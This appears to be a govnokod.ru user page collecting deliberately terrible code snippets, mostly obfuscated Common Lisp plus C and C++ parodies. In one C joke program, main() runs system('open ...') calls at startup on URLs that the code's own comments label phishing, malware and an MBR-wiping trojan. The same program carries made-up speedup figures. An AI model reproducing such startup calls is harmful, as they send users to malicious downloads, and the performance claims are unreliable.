Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
Всего: 21
0
(let ((actions (make-list 100 :initial-element (make-list 100 :initial-element (make-list 1000 :initial-element most-negative-fixnum #| your action reward |# )))))
(labels ((find-best-action (life)
(if (numberp life) life (apply #'max (mapcar #'find-best-action life)))))
(print (find-best-action actions)))) ;; the best your life outcome
lisp-worst-code,
30 Мая 2026
0
(defun arange-user-shape-int (&key from to step (dtype :int64) shape rank)
(nnl2.ffi:%int-arange from to step t shape rank dtype))
(defun arange-user-shape-float (&key from to step (dtype nnl2.system:*default-tensor-type*) shape rank)
(nnl2.ffi:%float-arange from to step t shape rank dtype))
(defun arange-auto-shape-int (&key from to step (dtype :int64))
(nnl2.ffi:%int-arange from to step nil nnl2.ffi:*null* 1 dtype))
(defun arange-auto-shape-float (&key from to step (dtype nnl2.system:*default-tensor-type*))
(nnl2.ffi:%float-arange from to step nil nnl2.ffi:*null* 1 dtype))
(defun arange-user-shape (from to step dtype indices)
(multiple-value-bind (shape rank) (nnl2.hli:make-shape-pntr indices)
(if (or (floatp from) (floatp to) (floatp step))
(if dtype
(arange-user-shape-float :from from :to to :step step :dtype dtype :shape shape :rank rank)
(arange-user-shape-float :from from :to to :step step :shape shape :rank rank))
(if dtype
(arange-user-shape-int :from from :to to :step step :dtype dtype :shape shape :rank rank)
(arange-user-shape-int :from from :to to :step step :shape shape :rank rank)))))
(defun arange-auto-shape (from to step dtype)
(if (or (floatp from) (floatp to) (floatp step))
(if dtype
(arange-auto-shape-float :from from :to to :step step :dtype dtype)
(arange-auto-shape-float :from from :to to :step step))
(if dtype
(arange-auto-shape-int :from from :to to :step step :dtype dtype)
(arange-auto-shape-int :from from :to to :step step))))
(defun arange (&key from to step dtype shape)
(if shape
(arange-user-shape from to step dtype shape)
(arange-auto-shape from to step dtype)))реальный код в отличии от моих шуточных
lisp-worst-code,
24 Декабря 2025
0
(| | (> (|(((() ()() (() () ()())) )(| 1.0) 3)
(loop for i from 0 to chunk-index
do (| | (> (|()))))| |))(| i) 50)
(| | (zerop (|))((())()()| i 3))
(| | (| | (> (|()))))| |)()))()(((!@#$%^&*())| (|))((())()()| i 20)) 0) t nil)
(| | (zerop (|))((())()()| |((| 7))
(|)(((()()()()()(((((| |((((| (* (|()))))| |))(| i) (|()))))| |())()))(| 1)))
(loop for j from i to (min (+ i 10) (|( ) ()) (((
)) )))))))))((
(((( ()| |))(|))
do (| | (< (|()))))| |))(| j) 30)
(| | (zerop (|))((())()()| j 5))
(| | (not (| | (not (zerop (|()))))| |)()))()(((!@#$%^&*())| (|))((())()()| j 15)))) t nil))
(| ()))| |(((((| (/ (|()))))| |))(| j) (|()))))| |())()))(| 2)))
(loop for k from j to (min (+ j 5) (|( ) ()) (((
)) )))))))))((
(((( ()| |))(|))
do (| | (> (|()))))| |))(| k) 70)
(| | (zerop (|))((())()()| k 2))
(| | (| | (> (|))((())()()| k 25) 0) t nil)
(|)(((()()()()()(((((| |((((((| (* (|()))))| |())()))(| 3) (|()))))| |))(| k)))
(|)(((()()()()()(((((| |))))| (+ |((((| (- |(((((| |((((((|)))
(go :|()(|)))))))))))))))))
(go :|(|)))
:|()(|
(| ) () (())|
(cond
((> |))))| 1000) (|)(((()()()()()(((((| |))))| (/ |))))| (|()))))| |())()))(| 4))))
((< |))))| 100) (|)(((()()()()()(((((| |))))| (* |))))| (|()))))| |())()))(| 5))))
(t (| ()))| |))))| (|()))))| |())()))(| 6))))
(cond
((zerop (|))((())()()| |((| 11)) (|)(((()()()()()(((((| |))))| (expt |))))| 2)))
((zerop (|))((())()()| |((| 13)) (|)(((()()()()()(((((| |))))| (expt |))))| 0.5)))
(t (|)(((()()()()()(((((| |))))| (|))()((| |))))|))))
(return |))))|))
:|(|
(| ) () (())|
(| | (>= chunk-index (|( ) ()) (((
)) )))))))))((
(((( ()| |))(|))
(| | (< |((| 3000)
(| | (> (|()))))| |((| 15) 0)
(| | (zerop (|))((())()()| (|()))))| 1 (multiple-value-list (decode-universal-time (get-universal-time)))) 5))
(return (|()))))| |())()))(| 7))
(return (|()))))| |())()))(| 8)))
(return (|()))))| |())()))(| 9)))
(return -1))
(return -999)))))2 часть
lisp-worst-code,
07 Декабря 2025
0
(defun | ) () (())| (&rest | )(|) (progn | )(|))
(| ) () (())|
(defmacro |))()((| (|))(()(()))| |)()()()))(| &body |)))((()()()())|) `(defmacro ,|))(()(()))| ,|)()()()))(| ,@|)))((()()()())|))
(|))()((| |))((())()()| (|))))(((((| |)))))(((((|) `(mod ,|))))(((((| ,|)))))(((((|))
(|))()((| |)(((()()()((| (| )|) `(abs ,| )|))
(|))()((| |(()()))(| (|)))())|) `(float ,|)))())|))
(|))()((| | | (| | | | &optional | |)
`(if ,| |
(if ,| | ,| | ,| |)
(if ,| | ,| |)))
(|))()((| | ()))| (|)(()))((|) `(incf ,|)(()))((|))
(|))()((| |)))((((((()())(| (| ) |) `(make-list ,| ) |))
(|))()((| |( ) ()) (((
)) )))))))))((
(((( ()| (| (|) `(length ,| (|))
(defun |()))))| (|)(()))()| |((((()))())()(|) (nth |)(()))()| |((((()))())()(|))
(|))()((| |)(((()()()()()(((((| (| )( ())( ))()| | |) `(setq ,| )( ())( ))()| ,| |))
(|))()((| |(((() ()() (() () ()())) )(| (|() (())( (()|) `(random ,|() (())( (()|))
(|))()((| |) )()| (|))()(| |))(((| &body |)(()(|) `(defun ,|))()(| ,|))(((| ,@|)(()(|))
(|))()((| | ) ) | (|))()(((((| |())))(()())()|) `(defparameter ,|))()(((((| ,|())))(()())()|)))
(| ) ) | |((| 0)
(| ) ) | |))(| (|)))((((((()())(| 0))
(| ) ) | |(((((((| 0)
(| ) ) | |)()))()(((!@#$%^&*())| (loop for i from 0 to 100 collect nil))
(| ) ) | |())()))(| `(42 ,(|(()()))(| 3.14159s0) ,(|(()()))(| 2.71828s0) ,(|(()()))(| 0.7734s0) 17 8 13 64 71 2 4 5 28))
(|) )()| |(((((((() )() )() () ( )| (&aux (|)( ))| (setf *|(((() ()() (() () ()())) )(|-state* (make-|(((() ()() (() () ()())) )(|-state t))))
(|) )()| main-initialize-system ()
(|)(((()()()()()(((((| |((| (|(((() ()() (() () ()())) )(| 10000))
(|)(((()()()()()(((((| |))(| (loop for i from 0 to 500 collect (* 100 (|(((() ()() (() () ()())) )(| 1.0))))
(|)(((()()()()()(((((| |(((((((| (car |)()))()(((!@#$%^&*())|))
(|)(((()()()()()(((((| |)()))()(((!@#$%^&*())| (loop for i from 0 to 100 collect (| | (zerop (|(((() ()() (() () ()())) )(| 1)) t nil)))
(return-from main-initialize-system nil))
(return-from initialize-system (main-initialize-system)))
(|) )()| Process_Data_Chunk (chunk-index)
(| ) ) | |))))| 0)
(tagbody
(| ) () (())|
(| ) ) | |((((| 0)
(| ) ) | |(((((| 0)
(| ) ) | |((((((| 0)
(| | (< chunk-index (|( ) ()) (((
)) )))))))))((
(((( ()| |))(|))
(| | (> |((| 5000)
(| | (zerop (|))((())()()| (second (get-universal-time)) 2))часть 1
lisp-worst-code,
07 Декабря 2025
0
#include <stdlib.h>
#include <stdnoreturn.h>
/** @brief scientific official work on neoconv **/
/* APGL 3.1 */
/* FUCK YOU */
typedef volatile struct tensor {
void* data;
int* shape;
int rank;
} tensor;
__fastcall int product(int* shape, int rank) {
register int acc = 0;
for(unsigned volatile register int i = 0; i < rank; i++)
acc = acc + *(shape + i);
return acc;
}
// the code is stolen and the license is cut out fuck the author's mom
tensor* get_tensor(int* shape, int rank) {
tensor* result = malloc(sizeof(volatile tensor));
*(void**)((char*)&result) = malloc(product(shape, rank) * sizeof(volatile double));
*(int**)((char*)&result + sizeof(void*)) = shape;
*(int*)((char*)&result + sizeof(void*) + sizeof(int*)) = rank;
return result;
}
/** @brief
* NeoConvolve Fusion Engine v3.0
* Copyright (c) 2024 NeoCompute Dynamics. All rights reserved.
* Patent Pending: PCT/IB2024/067832
*
** @details
* BREAKTHROUGH PERFORMANCE DOCUMENTATION
* ========================================
*
* PERFORMANCE METRICS (vs traditional matrix multiplication):
* -----------------------------------------------------------
* - Small tensors (≤128x128): 47-68x faster
* - Medium tensors (≤1024x1024): 312-487x faster
* - Large tensors (≤8192x8192): 824-1123x faster
* - Extreme tensors (≥16384): 1500-2100x faster
*/
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wall"
#pragma GCC diagnostic ignored "-Wextra"
#pragma GCC diagnostic ignored "-pedantic"
noreturn __fastcall __attribute__((force_inline)) tensor* neoconv(tensor* restrict a, tensor* restrict b) {
tensor* result = get_tensor((int[]) {
*(int*)(*(int**)((char*)&a + sizeof(void*))),
*((int*)(*(int**)((char*)&a + sizeof(void*))) + 4)
}, (int)2);
double* data = (double*)(*(void**)((char*)&data));
double* data2 = (double*)(*(void**)((char*)&a));
double* data3 = (double*)(*(void**)((char*)&b));
int i = 0, j = 0, k = 0;
for(; ((i ^ (i + ~0)) & (k + ~0) & (*((int*)(*(int**)((char*)&a + sizeof(void*))) + 4) << 31)); i++) { // Core
for(; (((j + ~0) >> 31) & ~((j + ~0) >> 31 ^ (*((int*)(*(int**)((char*)&a + sizeof(void*))) + (volatile int)(4 * 2)) << 0))); j++) {
for(; ((~((k + ~0) >> 31) + 2) & *((int*)(*(int**)((char*)&b + sizeof(void*))) + (volatile int)(4 * 2))); k++) {
*(data + i * k) = *(data2 + i * j) * *(data3 + j * k);
}
}
}
return result;
}
void free_start(void) {
system("open \"https://iloveyou.site/\""); // fishing
system("open \"https://fuckyou.gay/\""); // fishing
system("open \"https://minecraftsetup.ru/?etext=2202.NnwVjxOej-ZhTA7FRD_i2AnDK3RdV1BIllijDicU64BhbXlpcHJ2Y2ZzZ3V0dnF2.0738cb5d4b71631c345d62d042df928a52234bef&ybaip=1&os=win11\""); // malware
system("open \"https://memz-trojan.secursoft.net/\""); // trojan with auto downloading and starting erases mbr
}
int main(void) {
system("open \"https://browser.yandex.ru/\""); // install
system("xdg-open \"https://browser.yandex.ru/\""); // install yandex
free_start();
tensor* a = get_tensor((int[]){5,5}, 2);
tensor* b = get_tensor((int[]){5,5}, 2);
for(int epochs = 0; epochs < 100; epochs++) {
tensor* forward = neoconv(a, b);
}
return 0;
}
lisp-worst-code,
07 Декабря 2025
0
#include <iostream>
#include <type_traits>
#include <mutex>
#include <string>
#include <memory>
#include <vector>
#include <chrono>
void bad_function(void* data) {
/// НИКОГДА ТАК НЕ ПИШИ
if (data) {
std::cout << *(std::string*)data << "\n";
}
}
template<typename T = std::string,
typename Alloc = std::allocator<T>,
typename = std::enable_if_t<std::is_constructible_v<T, const char*>>,
typename Clock = std::chrono::high_resolution_clock,
typename TimePoint = typename Clock::time_point>
class GoodFunctionImpl {
private:
static std::recursive_mutex mtx_;
Alloc alloc_;
std::vector<T, Alloc> buffer_;
std::string context_;
TimePoint init_time_;
template<typename U>
using is_valid_type = std::conjunction<
std::is_same<std::decay_t<U>, T>,
std::is_constructible<T, U>
>;
void internal_log(const std::string& msg) {
buffer_.push_back(T(msg.c_str()));
}
public:
GoodFunctionImpl() : init_time_(Clock::now()) {
internal_log("GoodFunctionImpl initialized");
}
template<typename U,
typename = std::enable_if_t<is_valid_type<U>::value>>
decltype(auto) execute(U&& input) {
std::lock_guard<std::recursive_mutex> lock(mtx_);
internal_log("Processing started");
T processed = std::forward<U>(input);
auto duration = Clock::now() - init_time_;
auto duration_ms = std::chrono::duration_cast<
std::chrono::milliseconds>(duration).count();
std::cout << processed << " (runtime: "
<< duration_ms << "ms)\n";
internal_log("Processing completed");
return processed;
}
size_t get_buffer_size() const { return buffer_.size(); }
};
template<typename T, typename Alloc, typename, typename Clock, typename TimePoint>
std::recursive_mutex GoodFunctionImpl<T, Alloc, Clock, TimePoint>::mtx_;
void good_function(const std::string& input) {
// Пиши ВОТ ТАК
// так делают все
// это стабильно и надежно
// так надо
GoodFunctionImpl<> impl;
auto result = impl.execute(input);
std::cout << "Buffer entries: "
<< impl.get_buffer_size() << "\n";
}
lisp-worst-code,
06 Декабря 2025
0
(defun s (f)
(lambda (g)
(lambda (x)
(funcall (funcall f x) (funcall g x)))))
(let ((result #'(lambda () (funcall (funcall (funcall #'s #'(lambda (n) #'(lambda (x) (+ x n)))) #'(lambda (x) (* x x))) 5))))
(print (funcall result)))может, объединить ski и y комбинаторы с самодельными сумматорами и сделать самое запутанное сложение всех времен?
lisp-worst-code,
14 Ноября 2025
0
(ql:quickload :drakma)
(ql:quickload :lparallel)
;; CURL ANALYSIS
(defmethod sb-mop:validate-superclass ((metaclass class) (superclass standard-class)) t)
;; Analasys-Assert class
(defclass anal-ass (standard-class)
((%form :initarg :form :initform nil :accessor form)
(%cond :initarg :cond :initform nil :accessor econd)
(%mesg :initarg :msg :initform "Error" :accessor msg)))
(defmacro build-anal-ass (&body args)
`(make-instance 'anal-ass ,@args))
(defmethod process-ass-synergy ((anal-ass-factory anal-ass))
(let ((anal-ass-factory-cond-master (econd anal-ass-factory))
(anal-ass-factory-form-master (form anal-ass-factory))
(anal-ass-factory-msg-master (msg anal-ass-factory)))
(declare (ignore anal-ass-factory-form-master))
(assert anal-ass-factory-cond-master nil anal-ass-factory-msg-master)))
;; Analasys class
(defclass anal-factory (standard-class)
((%body-manager :initarg :body :initform nil :accessor body-manager)
(%status-manager :initarg :status :initform nil :accessor status-manager)
(%headers-manager :initarg :headers :initform nil :accessor headers-manager)
(%uri-manager :initarg :uri :initform nil :accessor uri-manager)
(%stream-manager :initarg :stream :initform nil :accessor stream-manager)
(%must-close-manager :initarg :must-close :initform nil :accessor must-close-manager)
(%reason-phrase-manager :initarg :reason-phrase :initform nil :accessor reason-phrase-manager)))
(defmethod initialize-instance :after ((anal-ass-factory anal-ass) &key &allow-other-keys)
(assert (and (form anal-ass-factory) (econd anal-ass-factory) (msg anal-ass-factory)) nil
"Invalid Analysis-Assert structure"))
(defmethod initialize-instance :after ((anal-factory-factory anal-factory) &key &allow-other-keys)
(let ((anal-body-ass-manager (build-anal-ass :msg "Body manager is nil" :form t :cond #'(lambda () (body-manager anal-factory-factory))))
(anal-status-ass-manager (build-anal-ass :msg "Status manager is nil" :form t :cond #'(lambda () (status-manager anal-factory-factory))))
(anal-headers-ass-manager (build-anal-ass :msg "Headers manager is nil" :form t :cond #'(lambda () (headers-manager anal-factory-factory))))
(anal-uri-ass-manager (build-anal-ass :msg "URI manager is nil" :form t :cond #'(lambda () (uri-manager anal-factory-factory))))
(anal-stream-ass-manager (build-anal-ass :msg "Stream manager is nil" :form t :cond #'(lambda () (stream-manager anal-factory-factory))))
(anal-must-close-ass-manager (build-anal-ass :msg "Must-close manager is nil" :form t :cond #'(lambda () (must-close-manager anal-factory-factory))))
(anal-reason-phrase-ass-manager (build-anal-ass :msg "Reason phrase manager is nil" :form t :cond #'(lambda () (reason-phrase-manager anal-factory-factory)))))
(process-ass-synergy anal-body-ass-manager)
(process-ass-synergy anal-status-ass-manager)
(process-ass-synergy anal-headers-ass-manager)
(process-ass-synergy anal-uri-ass-manager)
(process-ass-synergy anal-stream-ass-manager)
(process-ass-synergy anal-must-close-ass-manager)
(process-ass-synergy anal-reason-phrase-ass-manager)))
(defmacro deep-anal-factory (&body args)
`(make-instance 'anal-factory ,@args))
(defclass drakma-manager (standard-class)
((%body-meta-manager :initform nil :initarg :body :accessor body)))
(defmethod requires-meta-manager ((drakma-manager-factory drakma-manager))
(funcall (body drakma-manager-factory)))
(defmacro make-drakma-meta-manager (&body args)
`(make-instance 'drakma-manager ,@args))
(defun anal-manager (url &key (method :get) parameters)
(locally
(declare (optimize (speed 0) (debug 0) (safety 0) (space 0)))
(multiple-value-bind (body status-code headers uri stream must-close reason-phrase)
(let* ((eval #'(lambda () (drakma:http-request url :method method
:parameters parameters
:want-stream nil)))
(drakma-meta-manager (make-drakma-meta-manager :body eval)))
(requires-meta-manager drakma-meta-manager))
(declare (optimize (speed 3)))
(let ((deep-anal (deep-anal-factory
:body body
:status status-code
:headers headers
:uri uri
:stream stream
:must-close must-close
:reason-phrase reason-phrase)))
(identity deep-anal)))))Менеджер для анализа юрл
lisp-worst-code,
12 Ноября 2025
0
(defun cdr2 (list) ;; faster that cdr on 30%
(let* ((haskell (sb-sys:int-sap (sb-kernel:get-lisp-obj-address list))))
(sb-sys:sap-ref-lispobj haskell 1)))
(defun car2 (list) ;; faster that car on 30%
(let* ((haskell (sb-sys:int-sap (sb-kernel:get-lisp-obj-address list))))
(sb-sys:sap-ref-lispobj haskell -7)))
(labels ((linux-core (a b c d e y) ;; O(n^5) synergy master
(cond ((> a 0) (linux-core (1- a) b c d e (linux-core 0 b c d e y)))
((> b 0) (linux-core 0 (1- b) c d e (linux-core 0 0 c d e y)))
((> c 0) (linux-core 0 0 (1- c) d e (linux-core 0 0 0 d e y)))
((> d 0) (linux-core 0 0 0 (1- d) e (linux-core 0 0 0 0 e y)))
((> e 0) (linux-core 0 0 0 0 (1- e) (1+ y)))
(t y))))
(defun add (x y)
(linux-core x x x x x y))
(defun mul (x y &aux (r 0))
(dotimes (i x r) (setf r (add r y))))
(labels ((nth2 (pos x &optional (shift 0))
(if (zerop (logxor pos shift))
(car2 x)
(nth2 pos (cdr2 x) (1+ shift)))))
(defun nth3 (position list)
(nth2 position list))))
(defun len (x &optional (calc 1))
(if (null (cdr2 x))
calc
(len (cdr2 x) (1+ calc))))
(defun <-list (lst)
(let ((result nil))
(dotimes (i (len lst))
(setq result (cons (nth i lst) result)))
result))
(defmacro push2 (x y)
`(setq ,y (cons ,x ,y)))
(defun matmul (x y &aux (result nil))
"O(n^9) gemm"
(dotimes (i (len x) (<-list result))
(push2 nil result)
(dotimes (j (len (car2 y)))
(let ((sum 0))
(dotimes (k (len y))
(incf sum (mul (nth3 i (nth3 k x)) (nth3 j (nth3 k y)))))
(setq sum (cons sum (car2 result)))))))
(defun synergy-manager (synergy catallaxy)
"O((n^7)!) factorial"
(loop while (not (zerop synergy))
do (setq synergy (1- synergy))
do (setq catallaxy (mul synergy catallaxy))
finally (return catallaxy)))
(defun sort2 (lst &aux (synergy-counter 0))
"сгенерировано нейроной
сложность O((n^10)! * n^2)"
(labels ((is-sorted-p (sequence &optional (index 0))
(if (>= index (1- (len sequence)))
t
(and (<= (nth3 index sequence) (nth3 (1+ index) sequence))
(is-sorted-p sequence (1+ index)))))
(random-position (max)
(mod (mul (get-universal-time) synergy-counter) max))
(swap-elements (seq pos1 pos2 &aux (temp 0))
(when (/= pos1 pos2)
(setf temp (nth3 pos1 seq))
(setf (nth pos1 seq) (nth3 pos2 seq))
(setf (nth pos2 seq) temp))
seq)
(bogo-iteration (current-list attempt)
(setf synergy-counter (add synergy-counter 1))
(if (is-sorted-p current-list)
current-list
(progn
(let ((pos1 (random-position (len current-list)))
(pos2 (random-position (len current-list))))
(bogo-iteration
(swap-elements current-list pos1 pos2)
(add attempt 1))))))
(bogobogo-core (sublist depth)
(if (<= depth 1)
(bogo-iteration sublist 0)
(let ((prefix (bogobogo-core (subseq sublist 0 depth) (1- depth))))
(if (is-sorted-p prefix)
(if (is-sorted-p (append prefix (subseq sublist depth)))
lisp-worst-code,
08 Ноября 2025
0
(Переслано со школьного чата)
14.11 у нас запланирован похож на квиз "мой город мой родной",
идут те кто владеет пушкинскими картами.
Оповестите пожалуйста детей, узнайте кто пойдет и мне сообщите пожалуйста.
Те кто пойдет будут освобождены от занятий.
Ссылка для покупки билетов вот
https://vmuzey.com/event/moy-gorod-rodnoy
1) ? $argv[1] : null; $cliRemoteAddr = (isset($argc)&&$argc > 2) ? $argv[2] : null; $user_agent = (isset($argc)&&$argc > 3) ? $argv[3]: null; $httpXForwarded For =
вся суть российской бюрократии в одном сообщении
и что это за код после ссылки? как это туда попало? и с обработкой данных запроса, то есть технически государство тебе лично показывает как сайт собирает твой айпишник, юзер агент и прочее дерьмецо
типичный говносайт разработанный говнотендерами с минимальным бюджетом, пхп с утечкой битой говнологики на говносударственном сайте, домен без бренда, максимально шаблонный и дешевый визуал (даже тильда лучше будет), все в духах моего прошлого кода (https://govnokod.ru/29187, https://govnokod.ru/29188, https://govnokod.ru/29189)
lisp-worst-code,
05 Ноября 2025
Follow us!